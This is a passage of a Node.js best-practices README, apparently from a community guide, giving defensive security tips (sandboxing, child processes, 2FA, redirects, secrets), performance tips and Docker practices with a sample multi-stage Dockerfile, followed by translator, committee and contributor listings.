src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a> **TL;DR:** When tasked to run external code that is given at run-time (e.g. plugin), use any sort of 'sandbox' execution environment that isolates and guards the main code against the plugin. This can be achieved using a dedicated process (e.g. `cluster.fork()`), serverless environment or dedicated npm packages that act as a sandbox **Otherwise:** A plugin can attack through an endless variety of options like infinite loops, memory overloading, and access to sensitive process environment variables 🔗 [**Read More: Run unsafe code in a sandbox**](./sections/security/sandbox.md) <br/><br/> ## ![✔] 6.19. Take extra care when working with child processes <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a> **TL;DR:** Avoid using child processes when possible and validate and sanitize input to mitigate shell injection attacks if you still have to. Prefer using `child_process.execFile` which by definition will only execute a single command with a set of attributes and will not allow shell parameter expansion. **Otherwise:** Naive use of child processes could result in remote command execution or shell injection attacks due to malicious user input passed to an unsanitized system command. 🔗 [**Read More: Be cautious when working with child processes**](./sections/security/childprocesses.md) <br/><br/> ## ![✔] 6.20. Hide error details from clients <a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a> **TL;DR:** An integrated express error handler hides the error details by default. However, great are the chances that you implement your own error handling logic with custom Error objects (considered by many as a best practice). If you do so, ensure not to return the entire Error object to the client, which might contain some sensitive application details **Otherwise:** Sensitive application details such as server file paths, third party modules in use, and other internal workflows of the application which could be exploited by an attacker, could be leaked from information found in a stack trace 🔗 [**Read More: Hide error details from client**](./sections/security/hideerrors.md) <br/><br/> ## ![✔] 6.21. Configure 2FA for npm or Yarn <a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a> **TL;DR:** Any step in the development chain should be protected with MFA (multi-factor authentication), npm/Yarn are a sweet opportunity for attackers who can get their hands on some developer's password. Using developer credentials, attackers can inject malicious code into libraries that are widely installed across projects and services. Maybe even across the web if published in public. Enabling 2-factor-authentication in npm leaves almost zero chances for attackers to alter your package code. **Otherwise:** [Have you heard about the eslint developer whose password was hijacked?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8) <br/><br/> ## ![✔] 6.22. Modify session middleware settings <a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a> **TL;DR:** Each web framework and technology has its known weaknesses - telling an attacker which web framework we use is a great help for them. Using the default settings for session middlewares can expose your app to module- and framework-specific hijacking attacks in a similar way to the `X-Powered-By` header. Try hiding anything that identifies and reveals your tech stack (E.g. Node.js, express) **Otherwise:** Cookies could be sent over insecure connections, and an attacker might use session identification to identify the underlying framework of the web application, as well as module-specific vulnerabilities 🔗 [**Read More: Cookie and session security**](./sections/security/sessions.md) <br/><br/> ## ![✔] 6.23. Avoid DOS attacks by explicitly setting when a process should crash <a href="https://www.owasp.org/index.php/Denial_of_Service" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a> **TL;DR:** The Node process will crash when errors are not handled. Many best practices even recommend to exit even though an error was caught and got handled. Express, for example, will crash on any asynchronous error - unless you wrap routes with a catch clause. This opens a very sweet attack spot for attackers who recognize what input makes the process crash and repeatedly send the same request. There's no instant remedy for this but a few techniques can mitigate the pain: Alert with critical severity anytime a process crashes due to an unhandled error, validate the input and avoid crashing the process due to invalid user input, wrap all routes with a catch and consider not to crash when an error originated within a request (as opposed to what happens globally) **Otherwise:** This is just an educated guess: given many Node.js applications, if we try passing an empty JSON body to all POST requests - a handful of applications will crash. At that point, we can just repeat sending the same request to take down the applications with ease <br/><br/> ## ![✔] 6.24. Prevent unsafe redirects <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> **TL;DR:** Redirects that do not validate user input can enable attackers to launch phishing scams, steal user credentials, and perform other malicious actions. **Otherwise:** If an attacker discovers that you are not validating external, user-supplied input, they may exploit this vulnerability by posting specially-crafted links on forums, social media, and other public places to get users to click it. 🔗 [**Read More: Prevent unsafe redirects**](./sections/security/saferedirects.md) <br/><br/> ## ![✔] 6.25. Avoid publishing secrets to the npm registry <a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a> **TL;DR:** Precautions should be taken to avoid the risk of accidentally publishing secrets to public npm registries. An `.npmignore` file can be used to ignore specific files or folders, or the `files` array in `package.json` can act as an allow list. **Otherwise:** Your project's API keys, passwords or other secrets are open to be abused by anyone who comes across them, which may result in financial loss, impersonation, and other risks. 🔗 [**Read More: Avoid publishing secrets**](./sections/security/avoid_publishing_secrets.md) <br/><br/> ## ![✔] 6.26 Inspect for outdated packages **TL;DR:** Use your preferred tool (e.g. `npm outdated` or [npm-check-updates](https://www.npmjs.com/package/npm-check-updates)) to detect installed outdated packages, inject this check into your CI pipeline and even make a build fail in a severe scenario. For example, a severe scenario might be when an installed package is 5 patch commits behind (e.g. local version is 1.3.1 and repository version is 1.3.8) or it is tagged as deprecated by its author - kill the build and prevent deploying this version **Otherwise:** Your production will run packages that have been explicitly tagged by their author as risky <br/><br/> ## ![✔] 6.27. Import built-in modules using the 'node:' protocol ### `🌟 #new` <a href="https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20A06:2021 – Vulnerable and Outdated Components-green.svg" alt=""/></a> **TL;DR:** Import or require built-in Node.js modules using the 'node protocol' syntax: ```javascript import { functionName } from "node:module"; // note that 'node:' prefix ``` For example: ```javascript import { createServer } from "node:http"; ``` This style ensures that there is no ambiguity with global npm packages and makes it clear for the reader that the code refers to a well-trusted official module. This style can be enforced with the eslint rule ['prefer-node-protocol'](https://github.com/sindresorhus/eslint-plugin-unicorn/blob/main/docs/rules/prefer-node-protocol.md) **Otherwise:** Using the import syntax without 'node:' prefix opens the door for [typosquatting attacks](https://en.wikipedia.org/wiki/Typosquatting) where one could mistakenly mistype a module name (e.g., 'event' instead of 'events) and get a malicious package that was built only to trick users into installing them <br/><br/><br/> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # `7. Draft: Performance Best Practices` ## Our contributors are working on this section. [Would you like to join?](https://github.com/goldbergyoni/nodebestpractices/issues/256) <br/><br/> ## ![✔] 7.1. Don't block the event loop **TL;DR:** Avoid CPU intensive tasks as they will block the mostly single-threaded Event Loop and offload those to a dedicated thread, process or even a different technology based on the context. **Otherwise:** As the Event Loop is blocked, Node.js will be unable to handle other request thus causing delays for concurrent users. **3000 users are waiting for a response, the content is ready to be served, but one single request blocks the server from dispatching the results back** 🔗 [**Read More: Do not block the event loop**](./sections/performance/block-loop.md) <br /><br /><br /> ## ![✔] 7.2. Prefer native JS methods over user-land utils like Lodash **TL;DR:** It's often more penalising to use utility libraries like `lodash` and `underscore` over native methods as it leads to unneeded dependencies and slower performance. Bear in mind that with the introduction of the new V8 engine alongside the new ES standards, native methods were improved in such a way that it's now about 50% more performant than utility libraries. **Otherwise:** You'll have to maintain less performant projects where you could have simply used what was **already** available or dealt with a few more lines in exchange of a few more files. 🔗 [**Read More: Native over user land utils**](./sections/performance/nativeoverutil.md) <br/><br/><br/> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # `8. Docker Best Practices` 🏅 Many thanks to [Bret Fisher](https://github.com/BretFisher) from whom we learned many of the following practices <br/><br/> ## ![✔] 8.1 Use multi-stage builds for leaner and more secure Docker images **TL;DR:** Use multi-stage build to copy only necessary production artifacts. A lot of build-time dependencies and files are not needed for running your application. With multi-stage builds these resources can be used during build while the runtime environment contains only what's necessary. Multi-stage builds are an easy way to get rid of overweight and security threats. **Otherwise:** Larger images will take longer to build and ship, build-only tools might contain vulnerabilities and secrets only meant for the build phase might be leaked. ### Example Dockerfile for multi-stage builds ```dockerfile FROM node:14.4.0 AS build COPY . . RUN npm ci && npm run build FROM node:slim-14.4.0 USER node EXPOSE 8080 COPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./ RUN npm ci --production CMD [ "node", "dist/app.js" ] ``` 🔗 [**Read More: Use multi-stage builds**](./sections/docker/multi_stage_builds.md) <br /><br /><br /> ## ![✔] 8.2. Bootstrap using `node` command, avoid `npm start` **TL;DR:** Use `CMD ['node','server.js']` to start your app, avoid using npm scripts which don't pass OS signals to the code. This prevents problems with child-processes, signal handling, graceful shutdown and having zombie processes Update: [Starting from npm 7, npm claim](https://docs.npmjs.com/cli/v7/using-npm/changelog#706-2020-10-27) to pass signals. We follow and will update accordingly **Otherwise:** When no signals are passed, your code will never be notified about shutdowns. Without this, it will lose its chance to close properly possibly losing current requests and/or data [**Read More: Bootstrap container using node command, avoid npm start**](./sections/docker/bootstrap-using-node.md) <br /><br /><br /> ## ![✔] 8.3. Let the Docker runtime handle replication and uptime **TL;DR:** When using a Docker run time orchestrator (e.g., Kubernetes), invoke the Node.js process directly without intermediate process managers or custom code that replicate the process (e.g. PM2, Cluster module). The runtime platform has the highest amount of data and visibility for making placement decision - It knows best how many processes are needed, how to spread them and what to do in case of crashes **Otherwise:** Container keeps crashing due to lack of resources will get restarted indefinitely by the process manager. Should Kubernetes be aware of that, it could relocate it to a different roomy instance 🔗 [**Read More: Let the Docker orchestrator restart and replicate processes**](./sections/docker/restart-and-replicate-processes.md) <br/><br /><br /> ## ![✔] 8.4. Use .dockerignore to prevent leaking secrets **TL;DR**: Include a `.dockerignore` file that filters out common secret files and development artifacts. By doing so, you might prevent secrets from leaking into the image. As a bonus the build time will significantly decrease. Also, ensure not to copy all files recursively rather explicitly choose what should be copied to Docker **Otherwise**: Common personal secret files like `.env`, `.aws` and `.npmrc` will be shared with anybody with access to the image (e.g. Docker repository) 🔗 [**Read More: Use .dockerignore**](./sections/docker/docker-ignore.md) <br /><br /><br /> ## ![✔] 8.5. Clean-up dependencies before production **TL;DR:** Although Dev-Dependencies are sometimes needed during the build and test life-cycle, eventually the image that is shipped to production should be minimal and clean from development dependencies. Doing so guarantees that only necessary code is shipped and the amount of potential attacks (i.e. attack surface) is minimized. When using multi-stage build (see dedicated bullet) this can be achieved by installing all dependencies first and finally running `npm ci --production` **Otherwise:** Many of the infamous npm security breaches were found within development packages (e.g. [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes)) 🔗 Read More: [Remove development dependencies](./sections/docker/install-for-production.md) <br /><br /><br /> ## ![✔] 8.6. Shutdown smartly and gracefully **TL;DR:** Handle the process SIGTERM event and clean-up all existing connection and resources. This should be done while responding to ongoing requests. In Dockerized runtimes, shutting down containers is not a rare event, rather a frequent occurrence that happen as part of routine work. Achieving this demands some thoughtful code to orchestrate several moving parts: The load balancer, keep-alive connections, the HTTP server and other resources **Otherwise:** Dying immediately means not responding to thousands of disappointed users 🔗 [**Read More: Graceful shutdown**](./sections/docker/graceful-shutdown.md) <br /><br /><br /> ## ![✔] 8.7. Set memory limits using both Docker and v8 **TL;DR:** Always configure a memory limit using both Docker and the JavaScript runtime flags. The Docker limit is needed to make thoughtful container placement decision, the --v8's flag max-old-space is needed to kick off the GC on time and prevent under utilization of memory. Practically, set the v8's old space memory to be a just bit less than the container limit **Otherwise:** The docker definition is needed to perform thoughtful scaling decision and prevent starving other citizens. Without also defining the v8's limits, it will under utilize the container resources - Without explicit instructions it crashes when utilizing ~50-60% of its host resources 🔗 [**Read More: Set memory limits using Docker only**](./sections/docker/memory-limit.md) <br /><br /><br /> ## ![✔] 8.8. Plan for efficient caching **TL;DR:** Rebuilding a whole docker image from cache can be nearly instantaneous if done correctly. The less updated instructions should be at the top of your Dockerfile and the ones constantly changing (like app code) should be at the bottom. **Otherwise:** Docker build will be very long and consume lot of resources even when making tiny changes 🔗 [**Read More: Leverage caching to reduce build times**](./sections/docker/use-cache-for-shorter-build-time.md) <br /><br /><br /> ## ![✔] 8.9. Use explicit image reference, avoid `latest` tag **TL;DR:** Specify an explicit image digest or versioned label, never refer to `latest`. Developers are often led to believe that specifying the `latest` tag will provide them with the most recent image in the repository however this is not the case. Using a digest guarantees that every instance of the service is running exactly the same code. In addition, referring to an image tag means that the base image is subject to change, as image tags cannot be relied upon for a deterministic install. Instead, if a deterministic install is expected, a SHA256 digest can be used to reference an exact image. **Otherwise:** A new version of a base image could be deployed into production with breaking changes, causing unintended application behaviour. 🔗 [**Read More: Understand image tags and use the "latest" tag with caution**](./sections/docker/image-tags.md) <br /><br /><br /> ## ![✔] 8.10. Prefer smaller Docker base images **TL;DR:** Large images lead to higher exposure to vulnerabilities and increased resource consumption. Using leaner Docker images, such as Slim and Alpine Linux variants, mitigates this issue. **Otherwise:** Building, pushing, and pulling images will take longer, unknown attack vectors can be used by malicious actors and more resources are consumed. 🔗 [**Read More: Prefer smaller images**](./sections/docker/smaller_base_images.md) <br /><br /><br /> ## ![✔] 8.11. Clean-out build-time secrets, avoid secrets in args ### `🌟 #new` **TL;DR:** Avoid secrets leaking from the Docker build environment. A Docker image is typically shared in multiple environment like CI and a registry that are not as sanitized as production. A typical example is an npm token which is usually passed to a dockerfile as argument. This token stays within the image long after it is needed and allows the attacker indefinite access to a private npm registry. This can be avoided by coping a secret file like `.npmrc` and then removing it using multi-stage build (beware, build history should be deleted as well) or by using Docker build-kit secret feature which leaves zero traces **Otherwise:** Everyone with access to the CI and docker registry will also get access to some precious organization secrets as a bonus 🔗 [**Read More: Clean-out build-time secrets**](./sections/docker/avoid-build-time-secrets.md) <br /><br /><br /> ## ![✔] 8.12. Scan images for multi layers of vulnerabilities **TL;DR:** Besides checking code dependencies vulnerabilities also scan the final image that is shipped to production. Docker image scanners check the code dependencies but also the OS binaries. This E2E security scan covers more ground and verifies that no bad guy injected bad things during the build. Consequently, it is recommended running this as the last step before deployment. There are a handful of free and commercial scanners that also provide CI/CD plugins **Otherwise:** Your code might be entirely free from vulnerabilities. However it might still get hacked due to vulnerable version of OS-level binaries (e.g. OpenSSL, TarBall) that are commonly being used by applications 🔗 [**Read More: Scan the entire image before production**](./sections/docker/scan-images.md) <br /><br /><br /> ## ![✔] 8.13 Clean NODE_MODULE cache **TL;DR:** After installing dependencies in a container remove the local cache. It doesn't make any sense to duplicate the dependencies for faster future installs since there won't be any further installs - A Docker image is immutable. Using a single line of code tens of MB (typically 10-50% of the image size) are shaved off **Otherwise:** The image that will get shipped to production will weigh 30% more due to files that will never get used 🔗 [**Read More: Clean NODE_MODULE cache**](./sections/docker/clean-cache.md) <br /><br /><br /> ## ![✔] 8.14. Generic Docker practices **TL;DR:** This is a collection of Docker advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through. 🔗 [**Read More: Generic Docker practices**](./sections/docker/generic-tips.md) <br/><br /><br /> ## ![✔] 8.15. Lint your Dockerfile ### `🌟 #new` **TL;DR:** Linting your Dockerfile is an important step to identify issues in your Dockerfile which differ from best practices. By checking for potential flaws using a specialised Docker linter, performance and security improvements can be easily identified, saving countless hours of wasted time or security issues in production code. **Otherwise:** Mistakenly the Dockerfile creator left Root as the production user, and also used an image from unknown source repository. This could be avoided with with just a simple linter. 🔗 [**Read More: Lint your Dockerfile**](./sections/docker/lint-dockerfile.md) <br/><br /><br /> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # Milestones To maintain this guide and keep it up to date, we are constantly updating and improving the guidelines and best practices with the help of the community. You can follow our [milestones](https://github.com/goldbergyoni/nodebestpractices/milestones) and join the working groups if you want to contribute to this project <br/> ## Translations All translations are contributed by the community. We will be happy to get any help with either completed, ongoing or new translations! ### Completed translations - ![BR](./assets/flags/BR.png) [Brazilian Portuguese](./README.brazilian-portuguese.md) - Courtesy of [Marcelo Melo](https://github.com/marcelosdm) - ![CN](./assets/flags/CN.png) [Chinese](./README.chinese.md) - Courtesy of [Matt Jin](https://github.com/mattjin) - ![RU](./assets/flags/RU.png) [Russian](./README.russian.md) - Courtesy of [Alex Ivanov](https://github.com/contributorpw) - ![PL](./assets/flags/PL.png) [Polish](./README.polish.md) - Courtesy of [Michal Biesiada](https://github.com/mbiesiad) - ![JA](./assets/flags/JA.png) [Japanese](./README.japanese.md) - Courtesy of [Yuki Ota](https://github.com/YukiOta), [Yuta Azumi](https://github.com/YA21) - ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Courtesy of [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta ### Translations in progress - ![FR](./assets/flags/FR.png) [French](./README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129)) - ![HE](./assets/flags/HE.png) Hebrew ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156)) - ![KR](./assets/flags/KR.png) [Korean](README.korean.md) - Courtesy of [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94)) - ![ES](./assets/flags/ES.png) [Spanish](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95)) - ![TR](./assets/flags/TR.png) Turkish ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139)) <br/><br/> ## Steering Committee Meet the steering committee members - the people who work together to provide guidance and future direction to the project. In addition, each member of the committee leads a project tracked under our [GitHub projects](https://github.com/goldbergyoni/nodebestpractices/projects). <img align="left" width="100" height="100" src="assets/images/members/yoni.png"/> [Yoni Goldberg](https://github.com/goldbergyoni) <a href="https://twitter.com/goldbergyoni"><img src="assets/images/twitter.svg" width="16" height="16"></img></a> <a href="https://goldbergyoni.com"><img src="assets/images/web.svg" width="16" height="16"></img></a> Independent Node.js consultant who works with customers in the USA, Europe, and Israel on building large-scale Node.js applications. Many of the best practices above were first published at [goldbergyoni.com](https://goldbergyoni.com). Reach Yoni at [@goldbergyoni](https://github.com/goldbergyoni) or [[email protected]](mailto:[email protected]) <br/> <a id="josh-hemphill" href="https://github.com/josh-hemphill" target="_blank"><img src="assets/images/members/josh-hemphill.png" align="left" width="100" height="100" alt="Josh Hemphill" loading="lazy"/></a> [Josh Hemphill](https://github.com/josh-hemphill) <a href="https://twitter.com/spooklogical"><img src="assets/images/twitter.svg" width="16" height="16"></img></a> <a href="https://www.linkedin.com/in/joshuahemphill/"><img src="assets/images/linkedin.svg" width="16" height="16"></img></a> <a href="https://joshuahemphill.com"><img src="assets/images/web.svg" width="16" height="16"></img></a> Full Stack Software Engineer / Developer specializing in Security, DevOps/DevSecOps, and ERP Integrations. <br/> <a id="raz-luvaton" href="https://github.com/rluvaton" target="_blank"><img src="assets/images/members/raz-luvaton.jpg" align="left" width="100" height="100" alt="Raz Luvaton" loading="lazy"/></a> [Raz Luvaton](https://github.com/rluvaton) <a href="https://twitter.com/rluvaton"><img src="assets/images/twitter.svg" width="16" height="16"></img></a> <a href="https://www.linkedin.com/in/rluvaton/"><img src="assets/images/linkedin.svg" width="16" height="16"></img></a> Full Stack Developer who knows how to exit from Vim and loves Architecture, Virtualization and Security. <br/> ## Contributing If you've ever wanted to contribute to open source, now is your chance! See the [contributing docs](.operations/CONTRIBUTING.md) for more information. ## Contributors ✨ Thanks goes to these wonderful people who have contributed to this repository! <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kevinrambaud"><img src="https://avatars1.githubusercontent.com/u/7501477?v=4" width="100px;" alt="Kevin Rambaud"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kevin Rambaud</b></sub></a><br /><a href="#content-kevinrambaud" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/mfine15"><img src="https://avatars1.githubusercontent.com/u/1286554?v=4" width="100px;" alt="Michael Fine"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Michael Fine</b></sub></a><br /><a href="#content-mfine15" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://squgeim.github.io"><img src="https://avatars0.githubusercontent.com/u/4996818?v=4" width="100px;" alt="Shreya Dahal"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Shreya Dahal</b></sub></a><br /><a href="#content-squgeim" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://matheusrocha89.com"><img src="https://avatars1.githubusercontent.com/u/3718366?v=4" width="100px;" alt="Matheus Cruz Rocha"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Matheus Cruz Rocha</b></sub></a><br /><a href="#content-matheusrocha89" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bityog.github.io/Portfolio/"><img src="https://avatars2.githubusercontent.com/u/28219178?v=4" width="100px;" alt="Yog Mehta"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Yog Mehta</b></sub></a><br /><a href="#content-BitYog" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://kudapara.co.zw"><img src="https://avatars3.githubusercontent.com/u/13519184?v=4" width="100px;" alt="Kudakwashe Paradzayi"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href="#content-kudapara" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.t1st3.com/"><img src="https://avatars1.githubusercontent.com/u/1469638?v=4" width="100px;" alt="t1st3"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>t1st3</b></sub></a><br /><a href="#content-t1st3" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/mulijordan1976"><img src="https://avatars0.githubusercontent.com/u/33382022?v=4" width="100px;" alt="mulijordan1976"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>mulijordan1976</b></sub></a><br /><a href="#content-mulijordan1976" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/matchai"><img src="https://avatars0.githubusercontent.com/u/4658208?v=4" width="100px;" alt="Matan Kushner"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Matan Kushner</b></sub></a><br /><a href="#content-matchai" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://fabiothiroki.github.io"><img src="https://avatars2.githubusercontent.com/u/670057?v=4" width="100px;" alt="Fabio Hiroki"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Fabio Hiroki</b></sub></a><br /><a href="#content-fabiothiroki" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://james.sumners.info/"><img src="https://avatars1.githubusercontent.com/u/321201?v=4" width="100px;" alt="James Sumners"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>James Sumners</b></sub></a><br /><a href="#content-jsumners" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/_DanGamble"><img src="https://avatars2.githubusercontent.com/u/7152041?v=4" width="100px;" alt="Dan Gamble"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Dan Gamble</b></sub></a><br /><a href="#content-dan-gamble" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/trainorpj"><img src="https://avatars3.githubusercontent.com/u/13276704?v=4" width="100px;" alt="PJ Trainor"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>PJ Trainor</b></sub></a><br /><a href="#content-trainorpj" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/reod"><img src="https://avatars0.githubusercontent.com/u/3164299?v=4" width="100px;" alt="Remek Ambroziak"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Remek Ambroziak</b></sub></a><br /><a href="#content-reod" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://ca.non.co.il"><img src="https://avatars0.githubusercontent.com/u/1829789?v=4" width="100px;" alt="Yoni Jah"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Yoni Jah</b></sub></a><br /><a href="#content-yonjah" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/hazolsky"><img src="https://avatars1.githubusercontent.com/u/1270790?v=4" width="100px;" alt="Misha Khokhlov"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Misha Khokhlov</b></sub></a><br /><a href="#content-hazolsky" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://plus.google.com/+ЕвгенийОрехов/"><img src="https://avatars3.githubusercontent.com/u/8045060?v=4" width="100px;" alt="Evgeny Orekhov"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Evgeny Orekhov</b></sub></a><br /><a href="#content-EvgenyOrekhov" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/gediminasml"><img src="https://avatars3.githubusercontent.com/u/19854105?v=4" width="100px;" alt="-"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>-</b></sub></a><br /><a href="#content-gediminasml" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://hisaac.net"><img src="https://avatars3.githubusercontent.com/u/923876?v=4" width="100px;" alt="Isaac Halvorson"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Isaac Halvorson</b></sub></a><br /><a href="#content-hisaac" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.vedrankaracic.com"><img src="https://avatars3.githubusercontent.com/u/2808092?v=4" width="100px;" alt="Vedran Karačić"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Vedran Karačić</b></sub></a><br /><a href="#content-vkaracic" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lallenlowe"><img src="https://avatars3.githubusercontent.com/u/10761165?v=4" width="100px;" alt="lallenlowe"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>lallenlowe</b></sub></a><br /><a href="#content-lallenlowe" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nwwells"><img src="https://avatars2.githubusercontent.com/u/1039473?v=4" width="100px;" alt="Nathan Wells"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Nathan Wells</b></sub></a><br /><a href="#content-nwwells" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/paulovitin"><img src="https://avatars0.githubusercontent.com/u/125503?v=4" width="100px;" alt="Paulo Reis"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Paulo Reis</b></sub></a><br /><a href="#content-paulovitin" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://snap.simpego.ch"><img src="https://avatars2.githubusercontent.com/u/1989646?v=4" width="100px;" alt="syzer"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>syzer</b></sub></a><br /><a href="#content-syzer" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://sancho.dev"><img src="https://avatars0.githubusercontent.com/u/3763599?v=4" width="100px;" alt="David Sancho"style="max-width:100px;min-width:100px;" /><br /><sub 